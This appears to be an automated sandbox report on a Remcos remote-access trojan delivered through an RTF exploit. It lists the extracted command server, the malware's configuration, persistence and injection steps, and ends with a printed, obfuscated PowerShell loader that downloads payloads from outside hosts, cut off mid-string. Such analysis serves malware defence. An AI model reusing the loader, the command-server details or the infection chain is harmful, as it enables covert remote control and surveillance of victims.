remcos | 2562b562a8f29256cf16403c893b482838edee61e631639c39a705237046d225

Analysis

max time kernel
149s
max time network
144s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
16-04-2024 07:01

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General

Target

28f01b474be6aeb345aaca18388a3ad6.rtf
Size

71KB
MD5

28f01b474be6aeb345aaca18388a3ad6
SHA1

ca62d1a84fc88a61ab5ec5162219f847ffd4ab70
SHA256

2562b562a8f29256cf16403c893b482838edee61e631639c39a705237046d225
SHA512

6e6fb47442a111643e57167b0e181aa6299362f0d3aaefb79fe5d75338af18798229f178af9a2c25ae50ffae18c6d5eef92770a76f5e4848dc5188bbfccff2e5
SSDEEP

1536:OOE//90vZ4xj50yduAGFbN2ftcO1aWKW/H6yzAZF94BPU:S90Kxj50IuAeQft/1aWKW/ayAt4NU

Score

10^/10

remcos remotehost persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

rmcnewlistening.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-AK1F22
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 7 IoCs

Processes:

EQNEDT32.EXEWScript.exepowershell.exe

flow pid process

3 2024 EQNEDT32.EXE
7 2576 WScript.exe
9 2576 WScript.exe
12 2484 powershell.exe
14 2484 powershell.exe
16 2484 powershell.exe
17 2484 powershell.exe

flow	pid	process
3	2024	EQNEDT32.EXE
7	2576	WScript.exe
9	2576	WScript.exe
12	2484	powershell.exe
14	2484	powershell.exe
16	2484	powershell.exe
17	2484	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\RVC.vbs"	powershell.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2484 set thread context of 2020 2484 powershell.exe RegAsm.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

2024 EQNEDT32.EXE

description	pid	process	target process
PID 2484 set thread context of 2020	2484	powershell.exe	RegAsm.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
2024	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2960 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2744 powershell.exe
2484 powershell.exe
336 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2744 powershell.exe
Token: SeDebugPrivilege 2484 powershell.exe
Token: SeDebugPrivilege 336 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2960 WINWORD.EXE
2960 WINWORD.EXE

pid	process
2960	WINWORD.EXE

pid	process
2744	powershell.exe
2484	powershell.exe
336	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	336	powershell.exe

pid	process
2960	WINWORD.EXE
2960	WINWORD.EXE

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

EQNEDT32.EXEWScript.exepowershell.exeWINWORD.EXEpowershell.exe

description	pid	process	target process
PID 2024 wrote to memory of 2576	2024	EQNEDT32.EXE	WScript.exe
PID 2024 wrote to memory of 2576	2024	EQNEDT32.EXE	WScript.exe
PID 2024 wrote to memory of 2576	2024	EQNEDT32.EXE	WScript.exe
PID 2024 wrote to memory of 2576	2024	EQNEDT32.EXE	WScript.exe
PID 2576 wrote to memory of 2744	2576	WScript.exe	powershell.exe
PID 2576 wrote to memory of 2744	2576	WScript.exe	powershell.exe
PID 2576 wrote to memory of 2744	2576	WScript.exe	powershell.exe
PID 2576 wrote to memory of 2744	2576	WScript.exe	powershell.exe
PID 2744 wrote to memory of 2484	2744	powershell.exe	powershell.exe
PID 2744 wrote to memory of 2484	2744	powershell.exe	powershell.exe
PID 2744 wrote to memory of 2484	2744	powershell.exe	powershell.exe
PID 2744 wrote to memory of 2484	2744	powershell.exe	powershell.exe
PID 2960 wrote to memory of 2856	2960	WINWORD.EXE	splwow64.exe
PID 2960 wrote to memory of 2856	2960	WINWORD.EXE	splwow64.exe
PID 2960 wrote to memory of 2856	2960	WINWORD.EXE	splwow64.exe
PID 2960 wrote to memory of 2856	2960	WINWORD.EXE	splwow64.exe
PID 2484 wrote to memory of 336	2484	powershell.exe	powershell.exe
PID 2484 wrote to memory of 336	2484	powershell.exe	powershell.exe
PID 2484 wrote to memory of 336	2484	powershell.exe	powershell.exe
PID 2484 wrote to memory of 336	2484	powershell.exe	powershell.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe
PID 2484 wrote to memory of 2020	2484	powershell.exe	RegAsm.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\28f01b474be6aeb345aaca18388a3ad6.rtf"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2960

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2856

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\loverskissingforimage.vbs"
2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2576

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreNgDgTrevDgTreDkDgTreNwDgTre4DgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreF8DgTredgBiDgTreHMDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDIDgTreNQDgTre4DgTreDgDgTreNDgTreDgTre2DgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgT